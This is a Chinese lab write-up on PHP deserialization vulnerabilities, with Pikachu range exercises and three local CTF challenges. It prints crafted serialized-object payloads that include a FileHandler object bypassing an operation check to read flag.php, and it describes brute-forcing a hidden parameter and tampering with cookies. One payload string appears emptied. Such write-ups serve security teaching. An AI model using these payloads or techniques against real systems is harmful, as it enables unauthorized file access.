Pikachu反序列化实验、CTF实验

Pikachu反序列化

serialize() //将一个对象转换成一个字符串

unserialize() //将字符串还原成一个对象

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:

__construct()//创建对象时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__invoke() //当脚本尝试将对象调用为函数时触发

https://c.runoob.com/compile/1/

序列化:

 $a='abc';

 echo serialize($a);

?>

反序列化:

 $b='s:3:"abc";';

 echo unserialize($b);

?>

Pikachu反序列化实验、CTF实验_第1张图片

 class S{

          var $test="pikachu";

          function __construct(){

                   echo $thie->test;

          }

 }

$aa =new S();

echo serialize($aa);

?>

Pikachu反序列化实验、CTF实验_第2张图片

序列化

 class MM{

          var $test="pikachu";

          function __construct(){

                   echo "hello world";

          }

 }

$sss = new MM();

echo  serialize($sss);

?>

Pikachu反序列化实验、CTF实验_第3张图片

输入语句:O:1:"S":1:{s:4:"test";s:29:"";}

Pikachu反序列化实验、CTF实验_第4张图片

输入语句: O:1:"S":1:{s:4:"test";s:7:"pikachu";}

Pikachu反序列化实验、CTF实验_第5张图片

CTF实验

访问http://192.168.249.1/ctf/ctf.php

Pikachu反序列化实验、CTF实验_第6张图片

序列化

 $KEY = "hahaha";

 echo serialize($KEY);

?>

Pikachu反序列化实验、CTF实验_第7张图片

http://192.168.249.1/ctf/ctf.php?str=s:6:%22hahaha%22; 反序列化成功

Pikachu反序列化实验、CTF实验_第8张图片

访问http://192.168.249.1/ctf2/ctf2.php

Pikachu反序列化实验、CTF实验_第9张图片

访问http://192.168.249.1/ctf2/ctf2.php?aaa=111 挂代理抓包

Pikachu反序列化实验、CTF实验_第10张图片

发送到批量破解

Pikachu反序列化实验、CTF实验_第11张图片

选择4位字符 4 letter words

Pikachu反序列化实验、CTF实验_第12张图片

破解出hint

Pikachu反序列化实验、CTF实验_第13张图片

访问http://192.168.249.1/ctf2/ctf2.php?hint=111

Pikachu反序列化实验、CTF实验_第14张图片

s:21:"ISecer:www.isecer.com";

添加一个cookie

Pikachu反序列化实验、CTF实验_第15张图片

访问http://192.168.249.1/ctf2/ctf2.php

Pikachu反序列化实验、CTF实验_第16张图片

s:0:"";    空值反序列化

Pikachu反序列化实验、CTF实验_第17张图片

修改ISecer的cookie值

Pikachu反序列化实验、CTF实验_第18张图片

访问http://192.168.249.1/ctf2/ctf2.php

Pikachu反序列化实验、CTF实验_第19张图片

访问http://192.168.249.1/ctf3/

Pikachu反序列化实验、CTF实验_第20张图片

Pikachu反序列化实验、CTF实验_第21张图片

s:5:"11111";  得出序列化值

Pikachu反序列化实验、CTF实验_第22张图片

访问http://192.168.249.1/ctf3/?str=s:5:%2211111%22;  正确反序列化

Pikachu反序列化实验、CTF实验_第23张图片

访问http://192.168.249.1/ctf3/?str=111 纯数字化 不行

Pikachu反序列化实验、CTF实验_第24张图片

class FileHandler {

    public $op = '1';

    public $filename = 'flag.php';

    public $content = 'Hello World!';

}

$aaa = new FileHandler();

echo serialize($aaa);

?>

得到:

O:11:"FileHandler":3:{s:2:"op";s:1:"1";s:8:"filename";s:8:"flag.php";s:7:"content";s:12:"Hello World!";}

Pikachu反序列化实验、CTF实验_第25张图片

访问str= O:11:"FileHandler":3:{s:2:"op";s:1:"4";s:8:"filename";s:8:"flag.php";s:7:"content";s:12:"Hello World!";}

http://192.168.249.1/ctf3/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;s:1:%224%22;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:12:%22Hello%20World!%22;}

Pikachu反序列化实验、CTF实验_第26张图片

访问str= O:11:"FileHandler":3:{s:2:"op";s:1:"1";s:8:"filename";s:8:"flag.php";s:7:"content";s:12:"Hello World!";}

http://192.168.249.1/ctf3/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;s:1:%221%22;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:12:%22Hello%20World!%22;}

Pikachu反序列化实验、CTF实验_第27张图片

class FileHandler {

    public $op = ' 2';

    public $filename = 'flag.php';

    public $content = '';

}

$aaa = new FileHandler();

echo serialize($aaa)

?>

得到:O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

Pikachu反序列化实验、CTF实验_第28张图片

切换版本

Pikachu反序列化实验、CTF实验_第29张图片

访问http://192.168.249.1/ctf3/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;s:2:%22%202%22;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:0:%22%22;}

修改flag.php

Pikachu反序列化实验、CTF实验_第30张图片

Pikachu反序列化实验、CTF实验_第31张图片

访问http://192.168.249.1/ctf3/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;s:2:%22%202%22;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:0:%22%22;}

Pikachu反序列化实验、CTF实验_第32张图片

修改index.php

Pikachu反序列化实验、CTF实验_第33张图片

再访问

Pikachu反序列化实验、CTF实验_第34张图片

你可能感兴趣的:(pikachu,暴力破解,php,开发语言,安全)